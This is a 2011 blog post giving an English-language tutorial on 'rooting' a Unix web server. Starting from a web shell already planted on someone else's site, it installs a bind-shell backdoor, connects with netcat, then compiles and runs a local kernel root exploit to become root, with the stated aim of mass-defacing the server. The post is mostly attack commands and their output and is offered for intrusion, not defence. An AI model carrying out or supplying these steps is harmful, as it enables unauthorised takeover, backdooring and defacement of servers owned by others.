jueves, 3 de noviembre de 2011

rooteando servidor

Okey guys after Dangerous Hacker posted his Tutorial about Rooting on Urdu Language lotz of people have asked to be translated or to be made some on english language.
Today am going to write about rooting a *Unix Maschine and yes this tutorial will be on english!


It is nice to know how to use this method well once we gain access to the server we can execute massdeface command and own the whole server with our defacement!
So lets start with this little tutorial:

*What we need?
-WebSite where we have Shell
-Local Root Exploit
-Backconnection Script/Backdoor
-Little knowledge about Linux commands(Baisic)

First:
We access our shell and we need to check what version is the kernel.For that we execute the following command:
Code:

uname -a

once we execute the command something like this will be showed back as result
Code:

Linux  2.6.18-194 #1 SMP Tue Aug 10 19:48:16 EDT 2009 i686 i686 i386 GNU/Linux

So once we know what version is the kernel we need to search for an exploit for it.
Q:What is an Exploit?
A:Exploit is a code that give us a privilage to gain root priv and have access to the whole server.Now imagine a house you are the attacker wonna to get into the house the lock is old in this case that is the kernel and we have a key[EXPLOIT] that is going to open that door and get into the house[SEVER].So is this clear? What is Exploit? Good we move on...

Second:
So once we find the explot we gonna to you we upload it on the site and we need go do a backconnect for that we download netcat and we need to setup a backdoor on the Server.
If you use GNY shell you gonna to click on Backdoor and put some port ex:403 and press install backdoor.
Once you do that we need to connect with our NetCat
Code:

RUN->CMD

and now we go to the directory where is our NetCat in my case
Code:

C:\nc

and now we write the next command in our CMD/if your on Linux you write the same command
Code:

nc IP of the Server PORT

In this case its:
Code:

nc 13.37.41.74 403

And the following sentence is poped out when i write that:
Code:

    :: w4ck1ng-shell (Private Build v0.3) bind shell backdoor ::

Good we have connection on the server.
Third:
we need to check who we are:
Code:

id

and get:
Code:

id=99(nobody) gid=99(nobody)

Hmm not root okey its time for the exploit we go into the dir where is the exploit and we need to compile it for that we use
the following command:
Code:

gcc filename.c -o filename

Now our exploit file is named like exploit.c in the server so we need to compile it:
Code:

 gcc exploit.c -o exploit

Once we compile the exploit we gonna to give him 777 permisions:
Code:

chmod 777 exploit

After we set up the permisions we need to execute our exploit:
Code:

./exploit

And you see some text...After it finish type:
Code:

id

and if you get:
Code:

id=root(0) gid=root(0) groups=root(0)

We are root and we can do what ever we wanna with the server.
If it shows like agaen nobody the server is patched or its a wrong exploit!

Thanks guys for reading...that is all you need to know on how to root a *Unix Server

No hay comentarios:

Publicar un comentario